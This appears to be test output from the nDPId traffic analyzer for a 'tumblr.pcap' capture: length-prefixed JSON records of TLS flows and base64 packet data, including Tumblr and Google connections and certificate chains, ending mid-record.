+00514{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23347,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1605292119370,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::200e","src_port":57770,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23347,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292119,"pkt_ts_usec":370851,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB9dmACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAO4aoBuwkMYXdt3wkTgBAGDPrTAAABAQgKuCcls8LdJNk="} +00456{"flow_id":37,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23348,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292119,"pkt_ts_usec":458269,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgLAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvhqm3fCRMJDGF4gBAMQfSOAAABAQgKwt3Va7gmdTA="} +00514{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23349,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1605292120654,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:808::200e","src_port":58004,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23349,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292120,"pkt_ts_usec":654870,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBWy\/ACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICAAAAAAAACAO4pQBuzf4sNBRRFrJgBAB9RDeAAABAQgKzK1LLsLdJJ0="} +00514{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23350,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1605292120654,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:806::200e","src_port":55014,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23350,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292120,"pkt_ts_usec":654889,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD6CDACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1uYBu2Ue7VYDxGJbgBAB9U4jAAABAQgKcJlSucLdI9M="} +00514{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23351,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1605292120654,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:811::2004","src_port":49002,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23351,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292120,"pkt_ts_usec":654893,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCJJIACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIEQAAAAAAACAEv2oBu3NXQRgXN+V5gBAZpzN2AAABAQgKIY69b8LdKhI="} +00456{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23359,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292120,"pkt_ts_usec":839721,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgIAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvilFFEWsk3+LDRgBALmwajAAABAQgKwt3a98yslWg="} +00456{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23360,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292120,"pkt_ts_usec":853149,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvW5gPEYltlHu1XgBALmkPeAAABAQgKwt3bBnCYnCU="} +00457{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23362,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292120,"pkt_ts_usec":853914,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgRAAAAAAAAIAQqAcsBIEmLB5kd7IUo3\/YpAbu\/ahc35XlzV0EZgBAPBj1lAAABAQgKwt3bBiGODSw="} +00548{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":23398,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":255,"flow_first_seen":1605292103810,"flow_last_seen":1605292120926,"flow_tot_l4_data_len":152530,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":598,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::98c7:1593","src_port":42908,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00549{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23398,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":255,"flow_first_seen":1605292103810,"flow_last_seen":1605292120926,"flow_tot_l4_data_len":152530,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":598,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::98c7:1593","src_port":42908,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23415,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1605292121486,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::4a72:9a16","src_port":43328,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00467{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23415,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":486006,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCYf1ACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABKcpoWqUABuwNc+osAAAAAoAL9IJMMAAACBAWgBAIICpi1TMUAAAAAAQMDBw=="} +00469{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23416,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":507427,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAEpymhYqAcsBIEmLB5kd7IUo3\/YpAbupQGb5NYUDXPqMoBJXgPvWAAACBAV4AQMDAwQCCArC3d2UmLVMxQ=="} +00456{"flow_id":41,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23417,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":507474,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYf1ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABKcpoWqUABuwNc+oxm+TWGgBAB+3\/SAAABAQgKmLVM28Ld3ZQ="} +01151{"flow_id":41,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23418,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":507997,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCYf1AiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABKcpoWqUABuwNc+oxm+TWGgBgB+yW6AAABAQgKmLVM28Ld3ZQWAwECAAEAAfwDA9nSk2KeVcFHOIgIqlGvi0eycTTMQTOty0xI9t2BdS31IHNR5s\/xYMO8\/2mipv181fxQHxiQGiouoi3LhBjKSL1oACB6ehMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPq6gAAAAAAGQAXAAAUY2F0YXN0ZXJzLnR1bWJsci5jb20AFwAA\/wEAAQAACgAKAAhaWgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKVpaAAEAAB0AIObRVS3K9ld1BBlaeDdBVyGReJdkTjt6xYTnNvdI\/itGAC0AAgEBACsACwoqKgMEAwMDAgMBABsAAwIAAnp6AAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00833{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23418,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":4,"flow_first_seen":1605292121486,"flow_last_seen":1605292121507,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::4a72:9a16","src_port":43328,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Tumblr","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"catasters.tumblr.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00457{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23419,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":536972,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAEpymhYqAcsBIEmLB5kd7IUo3\/YpAbupQGb5NYYDXPyRgBALMHR7AAABAQgKwt3dsZi1TNs="} +00514{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23420,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1605292121674,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:817::200a","src_port":55560,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23420,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":674877,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDKQRACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIFwAAAAAAACAK2QgBu\/13v36ZlfzugBAB9Zh5AAABAQgKG7m2dMLdLYw="} +02348{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23421,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":697370,"pkt_caplen":1486,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1486,"pkt_l4_len":1432,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABZgGPQBk\/5sAAAAAAAAAAEpymhYqAcsBIEmLB5kd7IUo3\/YpAbupQGb5NYYDXPyRgBgLMC8nAAABAQgKwt3eSZi1TNsWAwMATgIAAEoDAxpQESrrMU9YbSQ9zCsdHawt5YMXgYkltEspSqmQB3JOAMyoAAAi\/wEAAQAAAAAAAAsABAMAAQIAIwAAABcAAAAQAAUAAwJoMhYDAxJXCwASUwASUAAGqzCCBqcwggWPoAMCAQICEQDrMNf9g78s2B0RdM6vHPcUMA0GCSqGSIb3DQEBCwUAMIGPMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRgwFgYDVQQKEw9TZWN0aWdvIExpbWl0ZWQxNzA1BgNVBAMTLlNlY3RpZ28gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMjAwMzI2MDAwMDAwWhcNMjIwNjI4MDAwMDAwWjAXMRUwEwYDVQQDDAwqLnR1bWJsci5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQD3vjF4X+JWWJ67GOQodS9DKhznOOISB5JmsFVckwPAsp322xSVlvt1KMtLR03EYF8mlfcVN6BcmiMmLCxFM30Cy5grlI7PM0mLwx9I4qAgM9h55AWkrkQHji9iLmmvUaFFT65vB08DMDUBI0yVzPUnUg8yvH0u\/I4JU6c8vtQr1l46PYo+PoYs9lI0ZJ7QNaCl7ToJ5u1utwsA\/n7PXFuFSWnoYyAF3\/ADP73f1k67A5q9p3tew9OS4O1ICCSWgKOyZBe27b9wXvwRGEE6PxKNAKPZqm7dA6LTUZ95codcujDIVOx26\/6kM6tfnMhK\/ndMnf7oKT+HNxyn8Q9tfuj1AgMBAAGjggNzMIIDbzAfBgNVHSMEGDAWgBSNjF7EVK2K4Xfpm\/mbBeG4AY1h4TAdBgNVHQ4EFgQUe3lD5209EzWXWSfbGBnCFfi1fs8wDgYDVR0PAQH\/BAQDAgWgMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMEkGA1UdIARCMEAwNAYLKwYBBAGyMQECAgcwJTAjBggrBgEFBQcCARYXaHR0cHM6Ly9zZWN0aWdvLmNvbS9DUFMwCAYGZ4EMAQIBMIGEBggrBgEFBQcBAQR4MHYwTwYIKwYBBQUHMAKGQ2h0dHA6Ly9jcnQuc2VjdGlnby5jb20vU2VjdGlnb1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwIwYIKwYBBQUHMAGGF2h0dHA6Ly9vY3NwLnNlY3RpZ28uY29tMCMGA1UdEQQcMBqCDCoudHVtYmxyLmNvbYIKdHVtYmxyLmNvbTCCAfcGCisGAQQB1nkCBAIEggHnBIIB4wHhAHYARqVV63X6kSAwtaKJafTzfREsQXS+\/Um4havy\/HD+bUcAAAFxGIO28QAABAMARzBFAiAv9sPCbI+Ze7+h14lxd8ZmbZZz9uMFUMgm7maIOQkeCwIhAPeLaJdlr\/Qn2OfqGTmW4Lsm8vtho7ExfyrelbZGH7uxAHYA36Veq2iCTx9sre64X04+WurNohKkal6OOxLAIERcKnMAAAFxGIO2ugAABAMARzBFAiBM\/kDyc1wHCfgzv72N+c2ichTu\/bW9GBqsSHTCvEJlMQIhALjAvz2\/QEnY1QPtVfV0c3t\/hTrs2IAyLpHJaCZBUwUCAHcAQcjKsd8iRkoQxqE6CUKHXk4xixsD6+tLx2jwkGKWBvYAAAFxGIO23gAABAMASDBGAiEAkUDaMCsDpE\/N7lirpxQy8WCr3pWcd4g1TeF50+0EskACIQD6pAsuL4CJ6T3Zur5SFVOcOR4QZUWucg=="} +00895{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":23421,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":6,"flow_first_seen":1605292121486,"flow_last_seen":1605292121697,"flow_tot_l4_data_len":2125,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":354,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::4a72:9a16","src_port":43328,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Tumblr","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"catasters.tumblr.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"738f0c3c6e00286f3afac626676d352d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00456{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23422,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":697400,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCYf1ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAABKcpoWqUABuwNc\/JFm+Tr+gBAB9XboAAABAQgKmLVNmcLd3kk="} +02343{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23423,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":697605,"pkt_caplen":1486,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1486,"pkt_l4_len":1432,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABZgGPQBk\/5sAAAAAAAAAAEpymhYqAcsBIEmLB5kd7IUo3\/YpAbupQGb5Ov4DXPyRgBgLMC8nAAABAQgKwt3eSZi1TNvKlPayhqp7cwcAdgBvU3asMfAxGdiZAKRRFf93FRwR2QLBACkGjbIImjfZEwAAAXEYg7aMAAAEAwBHMEUCIQDTZP74GcQvYCJ8SGJOEu76j2jWsvaAdVG7iq+C1pU1OQIgS4iLPS9VTitaa+bao6qUx6vhTN5SrQUOafovaJvi4wQwDQYJKoZIhvcNAQELBQADggEBALVLwLBSDWjs16T0C14kfJxZ7nhiT+RJE3xUVrHwCptZYUX3nbzbRWkn9cUVpyO7WaPtx0Q8YsdUnzQhrcP7VhPtzY5oVr9IjcFWzTkFEqaO\/EdHtkxbtE1kr7yqYzOHaYSOPUs9Z7OKjF5zkpH3QuNIYhobcqdYelCEZLALcAXOSasXo+NLzPeB9Ju5YOJwzARaaJboaPLVd7qOD8Mmfw0rAvDmO77XujIpHsHFDed8WW0BZIuofNhHPMBFRqVkhA29gRg2+pwDeuwGelEsbk3g4KxX9UT9wMNBfhes4ZV2+Ph9CV9BY45mSQDG8LqJTrcd7e8V0TUeua5OpBhMuhIABhcwggYTMIID+6ADAgECAhB9W1EmtHa6Edt0Fgu8Uw2nMA0GCSqGSIb3DQEBDAUAMIGIMQswCQYDVQQGEwJVUzETMBEGA1UECBMKTmV3IEplcnNleTEUMBIGA1UEBxMLSmVyc2V5IENpdHkxHjAcBgNVBAoTFVRoZSBVU0VSVFJVU1QgTmV0d29yazEuMCwGA1UEAxMlVVNFUlRydXN0IFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xODExMDIwMDAwMDBaFw0zMDEyMzEyMzU5NTlaMIGPMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRgwFgYDVQQKEw9TZWN0aWdvIExpbWl0ZWQxNzA1BgNVBAMTLlNlY3RpZ28gUlNBIERvbWFpbiBWYWxpZGF0aW9uIFNlY3VyZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDWczPW1zwg0ADSF0W41j4Hoj\/HQe4yMMmwbP30n8sSmA8tP41NAQyCDxd\/Yi7puEh5+xaDTq3XMiWTtwe\/uVA\/qUzDQCrpOf\/ZgcofFjJB2oAmuSN6hyAe4\/8gmjyVRG+HdQaQQLQykxYJEAgjPtLdhw9vXVEUagppxU8BcmnP05NMbQSgoxuCfrGaue3FnsU3eJ+aCDT7Vi5YxAkOBmRbvDfc8Z8oaKhWsJKjXJ+7iJgIGyQdqzCFrq+wLp56ncHAQhziAvDq4ErS75AOtMFAFvBvhUJKZPekMKD+vy6jJ1qOi1i4rcMZF4Rj7W9W\/YPLYDTEdL7mndvh5OXKDF8VAgMBAAGjggFuMIIBajAfBgNVHSMEGDAWgBRTeb9aqitKz1SA4dibwJ3ysgNmyzAdBgNVHQ4EFgQUjYxexFStiuF36Zv5mwXhuAGNYeEwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgEwUAYDVR0fBEkwRzBFoEOgQYY\/aHR0cDovL2NybC51c2VydHJ1c3QuY29tL1VTRVJUcnVzdFJTQUNlcnRpZmljYXRpb25BdXRob3JpdHkuY3JsMHYGCCsGAQUFBwEBBGowaDA\/BggrBgEFBQcwAoYzaHR0cDovL2NydC51c2VydHJ1c3QuY29tL1VTRVJUcnVzdFJTQUFkZFRydXN0Q0EuY3J0MCUGCA=="} +02215{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23424,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292121,"pkt_ts_usec":697605,"pkt_caplen":1382,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1382,"pkt_l4_len":1328,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABTAGPQBk\/5sAAAAAAAAAAEpymhYqAcsBIEmLB5kd7IUo3\/YpAbupQGb5QHYDXPyRgBgLMK07AAABAQgKwt3eSZi1TNsrBgEFBQcwAYYZaHR0cDovL29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOCAgEAMr9hvQ5Iw0\/HukdN+Jx4GQHcEx2Ab\/zDcLRSmjEzmldS+zGea6TvVKqJjUAXaPgREHzSyrHxVYbH7rM2kYb2OVG\/Rr8PoLq0935JxCo2F57kaDl6r5ROVm+yezu\/Coa9zcV3HAO4OLGiH19+24rcRki2aArPsrW04jTkZ6k4Zgle0rj8nSg6F0AnwnJOKf0hPHzPE\/uWLMUxRP0T7dWbqWlod3zu4f+k+TY4CFM5ooQ0nBnzvg6s1SQ36yOoeNDT5++SR2RiOSLvxvcRviKFxmZEJCaOEDKNyJOuB56DPi\/Z+fVGjmO+wea03KbNIaiGCpXZLoUmGv38sbZXQm2V0TP2ORQGgkE49Y9Y3IBbpNV9lXj9p5v\/\/cWoaasm56ekBYdbqbe4oyALl6lFhd2zi+WJN44pDfwGF\/Y4QA5C5BIG+3vzxhFoYt\/jmPQT2BVPi7Fp2RBgvGQq6jG35LWjOhSbJuMLe\/0CjraZwTiXWTb2qHSihrZe68Zk6s+go\/lunrotEbaGmAhYLcmsJWTyXnW0OMGuf1pGg+pRyrbxmRE1a6Vqe8YAsOf4vmSyrcjC8azjUeqkk+B5yOGBQMkKW+ESPMFgKuOXwIlCypTPRpgSabuY0MLTDXJLR27lk8QyKGOHQ+SwMj4K00u\/I5sUKUErmgQfky3xxzlIPK1aEn8ABYUwggWBMIIEaaADAgECAhA5ckQ6+SK3UdfTbBDdMTWVMA0GCSqGSIb3DQEBDAUAMHsxCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1hbmNoZXN0ZXIxEDAOBgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSEwHwYDVQQDDBhBQUEgQ2VydGlmaWNhdGUgU2VydmljZXMwHhcNMTkwMzEyMDAwMDAwWhcNMjgxMjMxMjM1OTU5WjCBiDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCAEmUXNg7D2wiz0KxXDXbtzSfTTK1Qg2HiqiBNCS1kCdzOiZ\/MPans9s\/B3PHTsdZ7NygRK0faOca8Ohm0X6a9fZ2jY0K2dvKpOyuR+OJv0OwWIJAJPuLodMkYtJHUYmTbf6MG8YgYapAiPLz+E\/CHFHv25B+O1ORRxhFnRghRy4YUVD+8M\/5+bJz\/Fp0YvVGONaanZshyZ9shZrHUm3gDwFA66Mzw3LyeTP6vBZY1H1dat\/\/O+T23LLb2VN3I5xI6Ta5MirdcmrS3ID3KfyI0rn47aGYBROcBTkZTmzNg95S+UzeQc0PzMsNT79uq\/nROacdrjGCT3sTHDN\/hMq7MkztReJVni+49Vv4M0GkPGw\/zJSZrM233bkf6c0Plfg6lZrEpfDKEY1WJxA3Bk1QwGROs0303p+tdOm